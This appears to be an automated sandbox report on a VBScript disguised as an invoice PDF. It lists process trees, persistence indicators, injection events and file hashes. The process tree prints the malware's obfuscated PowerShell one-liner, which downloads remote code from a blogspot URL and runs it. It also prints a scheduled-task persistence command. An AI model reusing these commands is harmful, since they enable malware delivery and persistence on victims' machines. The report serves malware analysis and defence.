19a3ad194ce6897b529e09a60beb959520e5fc70930d95393d304a42a70a7119

Analysis

max time kernel
142s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
16/08/2023, 13:44

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General

Target

lnvoice #72993 pdf.vbs
Size

8KB
MD5

267ec14523d9fda264f9fbee934eebe0
SHA1

e19bfb59009da3d192f024222070e01a9a1bb258
SHA256

19a3ad194ce6897b529e09a60beb959520e5fc70930d95393d304a42a70a7119
SHA512

a2d95be94aa3629e4be2341135213caf486426e36ca34fd1a89e38767ed0257f08e90bd2b694e6b3134495cde9cf746845c54141a7e4ecec2d468c34b6622652
SSDEEP

24:vOOOOOOamMMM9Mk4wMUMbwMRMUMqMMMBeMZMTMoMVnnLecYMSQxH:6mKywV8V9nDW

Score

8^/10

persistence

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	4812	powershell.exe
9	4812	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kilng.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kilng.vbs	powershell.exe

Registers COM server for autorun 1 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3195054982-4292022746-1467505928-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3195054982-4292022746-1467505928-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	api.ipify.org
27	api.ipify.org

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4812 set thread context of 752	4812	powershell.exe	90
PID 4812 set thread context of 1640	4812	powershell.exe	91
PID 4812 set thread context of 5064	4812	powershell.exe	92

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	dw20.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4004	schtasks.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3195054982-4292022746-1467505928-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3195054982-4292022746-1467505928-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3195054982-4292022746-1467505928-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4812	powershell.exe
4812	powershell.exe
752	RegSvcs.exe
752	RegSvcs.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	4812	powershell.exe
Token: SeRestorePrivilege	1808	dw20.exe
Token: SeBackupPrivilege	1808	dw20.exe
Token: SeBackupPrivilege	1808	dw20.exe
Token: SeBackupPrivilege	3660	dw20.exe
Token: SeBackupPrivilege	3660	dw20.exe
Token: SeBackupPrivilege	1808	dw20.exe
Token: SeBackupPrivilege	1808	dw20.exe
Token: SeDebugPrivilege	752	RegSvcs.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 4632 wrote to memory of 4812	4632	WScript.exe	83
PID 4632 wrote to memory of 4812	4632	WScript.exe	83
PID 4812 wrote to memory of 752	4812	powershell.exe	90
PID 4812 wrote to memory of 752	4812	powershell.exe	90
PID 4812 wrote to memory of 752	4812	powershell.exe	90
PID 4812 wrote to memory of 752	4812	powershell.exe	90
PID 4812 wrote to memory of 752	4812	powershell.exe	90
PID 4812 wrote to memory of 752	4812	powershell.exe	90
PID 4812 wrote to memory of 752	4812	powershell.exe	90
PID 4812 wrote to memory of 752	4812	powershell.exe	90
PID 4812 wrote to memory of 1640	4812	powershell.exe	91
PID 4812 wrote to memory of 1640	4812	powershell.exe	91
PID 4812 wrote to memory of 1640	4812	powershell.exe	91
PID 4812 wrote to memory of 1640	4812	powershell.exe	91
PID 4812 wrote to memory of 1640	4812	powershell.exe	91
PID 4812 wrote to memory of 1640	4812	powershell.exe	91
PID 4812 wrote to memory of 1640	4812	powershell.exe	91
PID 4812 wrote to memory of 1640	4812	powershell.exe	91
PID 4812 wrote to memory of 5064	4812	powershell.exe	92
PID 4812 wrote to memory of 5064	4812	powershell.exe	92
PID 4812 wrote to memory of 5064	4812	powershell.exe	92
PID 4812 wrote to memory of 5064	4812	powershell.exe	92
PID 4812 wrote to memory of 5064	4812	powershell.exe	92
PID 4812 wrote to memory of 5064	4812	powershell.exe	92
PID 4812 wrote to memory of 5064	4812	powershell.exe	92
PID 4812 wrote to memory of 5064	4812	powershell.exe	92
PID 4812 wrote to memory of 4004	4812	powershell.exe	93
PID 4812 wrote to memory of 4004	4812	powershell.exe	93
PID 5064 wrote to memory of 1808	5064	Msbuild.exe	95
PID 5064 wrote to memory of 1808	5064	Msbuild.exe	95
PID 5064 wrote to memory of 1808	5064	Msbuild.exe	95
PID 1640 wrote to memory of 3660	1640	RegSvcs.exe	96
PID 1640 wrote to memory of 3660	1640	RegSvcs.exe	96
PID 1640 wrote to memory of 3660	1640	RegSvcs.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\lnvoice #72993 pdf.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:4632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $((irm ckc0.blogspot.com/atom.xml) | .('{1}{0}'-f'dasdwdwd','I').replace('dasdwdwd','ex'))
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Registers COM server for autorun
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4812
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:752
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1640
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
      dw20.exe -x -s 780
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3660
- - C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
    "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5064
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
      dw20.exe -x -s 780
      4⤵
      Drops file in Windows directory
      Suspicious use of AdjustPrivilegeToken
      PID:1808
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /sc MINUTE /mo 187 /tn clomepe /F /tr "wscript //nologo C:\\ProgramData\\TUKHAMTASSER\\kilng.vbs"
    3⤵
    - Creates scheduled task(s)
    PID:4004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\TUKHAMTASSER\kilng.vbs

Filesize
255B

MD5
8f81b3effafd9936e04c0cae33244524

SHA1
48f32711a8b3f076c038cac161b46c3b96bb56c3

SHA256
8e5d7826bff2c2c294da10043436e223dfb4553ea489966fd20a78fb309ddbfe

SHA512
56aee2e746b3230ee744f081162a1a57837b661b997ba1d0be06fc54779e339bb6ed64c61c75cdbb19c66242d371362aea6e603ab4d5122921977a6e5697a287

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kcqfxfvq.fzh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/752-182-0x0000000005150000-0x00000000051B6000-memory.dmp

Filesize
408KB

Download
memory/752-179-0x00000000051E0000-0x00000000051F0000-memory.dmp

Filesize
64KB

Download
memory/752-191-0x0000000006780000-0x000000000678A000-memory.dmp

Filesize
40KB

Download
memory/752-190-0x00000000067D0000-0x0000000006862000-memory.dmp

Filesize
584KB

Download
memory/752-189-0x0000000006690000-0x000000000672C000-memory.dmp

Filesize
624KB

Download
memory/752-188-0x00000000065A0000-0x00000000065F0000-memory.dmp

Filesize
320KB

Download
memory/752-170-0x0000000005600000-0x0000000005BA4000-memory.dmp

Filesize
5.6MB

Download
memory/752-192-0x0000000074990000-0x0000000075140000-memory.dmp

Filesize
7.7MB

Download
memory/752-152-0x0000000000400000-0x0000000000474000-memory.dmp

Filesize
464KB

Download
memory/752-193-0x00000000051E0000-0x00000000051F0000-memory.dmp

Filesize
64KB

Download
memory/752-172-0x0000000074990000-0x0000000075140000-memory.dmp

Filesize
7.7MB

Download
memory/752-165-0x00000000009B0000-0x0000000000A24000-memory.dmp

Filesize
464KB

Download
memory/1640-169-0x00000000743D0000-0x0000000074981000-memory.dmp

Filesize
5.7MB

Download
memory/1640-163-0x00000000743D0000-0x0000000074981000-memory.dmp

Filesize
5.7MB

Download
memory/4812-149-0x00007FFBD1A50000-0x00007FFBD2511000-memory.dmp

Filesize
10.8MB

Download
memory/4812-146-0x0000019047580000-0x0000019047590000-memory.dmp

Filesize
64KB

Download
memory/4812-143-0x00007FFBD1A50000-0x00007FFBD2511000-memory.dmp

Filesize
10.8MB

Download
memory/4812-171-0x00007FFBD1A50000-0x00007FFBD2511000-memory.dmp

Filesize
10.8MB

Download
memory/4812-144-0x0000019047580000-0x0000019047590000-memory.dmp

Filesize
64KB

Download
memory/4812-151-0x0000019060850000-0x000001906086A000-memory.dmp

Filesize
104KB

Download
memory/4812-150-0x0000019047580000-0x0000019047590000-memory.dmp

Filesize
64KB

Download
memory/4812-145-0x0000019047580000-0x0000019047590000-memory.dmp

Filesize
64KB

Download
memory/4812-138-0x0000019060490000-0x00000190604B2000-memory.dmp

Filesize
136KB

Download
memory/4812-147-0x0000019060C80000-0x0000019060E42000-memory.dmp

Filesize
1.8MB

Download
memory/5064-162-0x00000000743D0000-0x0000000074981000-memory.dmp

Filesize
5.7MB

Download
memory/5064-187-0x00000000743D0000-0x0000000074981000-memory.dmp

Filesize
5.7MB

Download
memory/5064-166-0x00000000743D0000-0x0000000074981000-memory.dmp

Filesize
5.7MB

Download
memory/5064-164-0x0000000001360000-0x0000000001370000-memory.dmp

Filesize
64KB

Download